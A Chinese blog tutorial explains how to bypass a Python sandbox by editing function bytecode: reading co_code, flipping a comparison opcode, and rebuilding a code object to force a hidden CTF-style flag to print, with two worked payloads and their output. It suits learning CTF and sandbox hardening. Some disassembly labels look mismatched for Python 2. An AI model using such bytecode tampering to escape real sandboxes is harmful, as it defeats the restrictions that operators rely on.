使用OpCode绕过Python沙箱的方法详解


Posted in Python onSeptember 03, 2019

0x01 OpCode

opcode又称为操作码,是将python源代码进行编译之后的结果,python虚拟机无法直接执行human-readable的源代码,因此python编译器第一步先将源代码进行编译,以此得到opcode。例如在执行python程序时一般会先生成一个pyc文件,pyc文件就是编译后的结果,其中含有opcode序列。

如何查看一个函数的OpCode?

def a():
 if 1 == 2:
  print("flag{****}")

print "Opcode of a():",a.__code__.co_code.encode('hex')

通过此方法我们可以得到a函数的OpCode

Opcode of a(): 6401006402006b020072140064030047486e000064000053

我们可以通过dis库获得相应的解析结果。

import dis

dis.dis('6401006402006b020072140064030047486e000064000053'.decode('hex'))

得到反编译的结果

0 LOAD_CONST          1 (1)
      3 LOAD_CONST          2 (2)
      6 COMPARE_OP          2 (==)
      9 POP_JUMP_IF_FALSE    20
     12 LOAD_CONST          3 (3)
     15 LOAD_BUILD_CLASS
     16 YIELD_FROM    
     17 JUMP_FORWARD        0 (to 20)
>>   20 LOAD_CONST          0 (0)
     23 RETURN_VALUE

常见的字节码指令

为了进一步研究OpCode,我们可以对dis的disassemble_string函数进行patch

在124行加入

print hex(op).ljust(6),

可以查看具体的字节码。

0 LOAD_CONST           0x64       1 (1)
      3 LOAD_CONST           0x64       2 (2)
      6 COMPARE_OP           0x6b       2 (==)
      9 POP_JUMP_IF_FALSE    0x72      20
     12 LOAD_CONST           0x64       3 (3)
     15 LOAD_BUILD_CLASS     0x47 
     16 YIELD_FROM           0x48 
     17 JUMP_FORWARD         0x6e       0 (to 20)
>>   20 LOAD_CONST           0x64       0 (0)
     23 RETURN_VALUE         0x53

变量

指令名 操作
LOAD_GLOBAL 读取全局变量
STORE_GLOBAL 给全局变量赋值
LOAD_FAST 读取局部变量
STORE_FAST 给局部变量赋值
LOAD_CONST 读取常量

IF

指令名 操作
POP_JUMP_IF_FALSE 当条件为假的时候跳转
JUMP_FORWARD 直接跳转

CMP_OP

cmp_op = ('<', '<=', '==', '!=', '>', '>=', 'in', 'not in', 'is','is not', 'exception match', 'BAD')

其余的指令参考OpCode源码

0x02 利用OpCode改变程序运行逻辑

在Python中,我们可以对任意函数的__code__参数进行赋值,通过对其进行赋值,我们可以改变程序运行逻辑。

Example1

def a():
 if 1 == 2:
  print("flag{****}")

在沙箱环境中我们需要调用这个函数,但是此函数我们无法执行到print语句。因此我们需要通过某种方法得到flag

Solution 1

我们直接获取a.__code__.co_consts,查看所有的常量。即可知道flag

(None, 1, 2, 'flag{****}')

Solution 2

更改程序运行逻辑

CodeType构造函数

def __init__(self, argcount, nlocals, stacksize, flags, code,
     consts, names, varnames, filename, name, 
     firstlineno, lnotab, freevars=None, cellvars=None):

上述函数其余参数均可通过__code.__.co_xxx获得

因此我们

def a():
 if 1 == 2:
  print("flag{****}")

for name in dir(a.__code__):
 print name,getattr(a.__code__,name)

输出

co_argcount 0
co_cellvars ()
co_code ddkrdGHndS
co_consts (None, 1, 2, 'flag{****}')
co_filename example1.py
co_firstlineno 1
co_flags 67
co_freevars ()
co_lnotab

co_name a
co_names ()
co_nlocals 0
co_stacksize 2
co_varnames ()

构造相应目标代码

def a():
 if 1 != 2:
  print("flag{****}")

print "Opcode of a():",a.__code__.co_code.encode('hex')

得到code

6401006402006b030072140064030047486e000064000053

构造payload

def a():
 if 1 == 2:
  print("flag{****}")

newcode = type(a.__code__)
code = "6401006402006b030072140064030047486e000064000053".decode('hex')
code = newcode(0,0,2,67,code,(None, 1, 2, 'flag{****}'),(),(),"xxx","a",1,"")
a.__code__ = code

a()

即可输出flag

Example 2

def target(flag):
 def printflag():
  if flag == "":
   print flag
 return printflag

flag = target("flag{*******}")

这一次因为是通过变量传入参数,我们无法通过上一次读co_consts获得变量。但是我们这次依旧可以通过重写code获得flag。

构造替代函数

def target(flag):
 def printflag():
  if flag != "":
   print flag
 return printflag
a = target("xxx")
import types
code = a.__code__.co_code.encode('hex')
print code

EXP

newcode = type(flag.__code__)
code = "8800006401006b030072140088000047486e000064000053".decode('hex')
code = newcode(0,0,2,19,code,(None, ''),(),(),"example2.py","printflag",2,"",('flag',),())
flag.__code__ = code
flag()

➜  python example2exp.py
8800006401006b030072140088000047486e000064000053
➜  python example2.py  
flag{*******}

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。

Python 相关文章推荐
python笔记(1) 关于我们应不应该继续学习python
Oct 24 Python
Python注释详解
Jun 01 Python
利用python程序生成word和PDF文档的方法
Feb 14 Python
Python利用Beautiful Soup模块修改内容方法示例
Mar 27 Python
django 开发忘记密码通过邮箱找回功能示例
Apr 17 Python
利用Pycharm断点调试Python程序的方法
Nov 29 Python
Python应用领域和就业形势分析总结
May 14 Python
python列表推导和生成器表达式知识点总结
Jan 10 Python
Python 面向对象部分知识点小结
Mar 09 Python
Python偏函数Partial function使用方法实例详解
Jun 17 Python
Python requests库参数提交的注意事项总结
Mar 29 Python
深入理解Pytorch微调torchvision模型
Nov 11 Python
python实现单链表的方法示例
Sep 03 #Python
python中enumerate() 与zip()函数的使用比较实例分析
Sep 03 #Python
python网络编程之多线程同时接受和发送
Sep 03 #Python
springboot配置文件抽离 git管理统 配置中心详解
Sep 02 #Python
python生成随机红包的实例写法
Sep 02 #Python
Django发送邮件功能实例详解
Sep 02 #Python
python读取Excel表格文件的方法
Sep 02 #Python
You might like
在PWS上安装PHP4.0正式版
2006/10/09 PHP
解析PHP中常见的mongodb查询操作
2013/06/20 PHP
php恢复数组的key为数字序列的方法
2015/04/28 PHP
PHP数据对象PDO操作技巧小结
2016/09/27 PHP
PHP基于socket实现客户端和服务端通讯功能
2017/07/13 PHP
PHP上传图片到数据库并显示的实例代码
2019/12/20 PHP
JavaScript的Cookies
2008/01/16 Javascript
豆瓣网的jquery代码实例
2008/06/15 Javascript
说说掌握JavaScript语言的思想前提想学习js的朋友可以看看
2009/04/01 Javascript
js 静态动态成员 and 信息的封装和隐藏
2011/05/29 Javascript
JavaScript tab选项卡插件实例代码
2016/02/23 Javascript
Bootstrap模态窗口源码解析
2017/02/08 Javascript
Vuex中mutations与actions的区别详解
2018/03/01 Javascript
Node.js笔记之process模块解读
2018/05/31 Javascript
Vue中使用clipboard实现复制功能
2018/09/05 Javascript
vue中进入详情页记住滚动位置的方法(keep-alive)
2018/09/21 Javascript
原生js实现Flappy Bird小游戏
2018/12/24 Javascript
JavaScript面向对象程序设计中对象的定义和继承详解
2019/07/29 Javascript
详解JavaScript中的数据类型,以及检测数据类型的方法
2020/09/17 Javascript
JavaScript通如何过RGraph实现动态仪表盘
2020/10/15 Javascript
[43:24]2018DOTA2亚洲邀请赛3月29日 小组赛A组 LGD VS Liquid
2018/03/30 DOTA
[59:32]Liquid vs Fnatic 2019国际邀请赛淘汰赛败者组BO1 8.20.mp4
2020/07/19 DOTA
[40:27]完美世界DOTA2联赛PWL S3 PXG vs GXR 第一场 12.19
2020/12/24 DOTA
解决python3 urllib中urlopen报错的问题
2017/03/25 Python
Python函数装饰器实现方法详解
2018/12/22 Python
三步实现Django Paginator分页的方法
2019/06/11 Python
Python利用逻辑回归模型解决MNIST手写数字识别问题详解
2020/01/14 Python
HTML5中5个简单实用的API(第二篇,含全屏、可见性、拍照、预加载、电池状态)
2014/05/07 HTML / CSS
欧姆龙医疗保健与医疗产品:Omron Healthcare
2020/02/10 全球购物
大学生个人自荐信样本
2014/03/02 职场文书
保证书范文大全
2014/04/28 职场文书
孝敬父母的活动方案
2014/08/31 职场文书
2014年连锁店圣诞节活动方案
2014/12/09 职场文书
Django显示可视化图表的实践
2021/05/10 Python
vue组件的路由高亮问题解决方法
2021/05/11 Vue.js
Java 垃圾回收超详细讲解记忆集和卡表
2022/04/08 Java/Android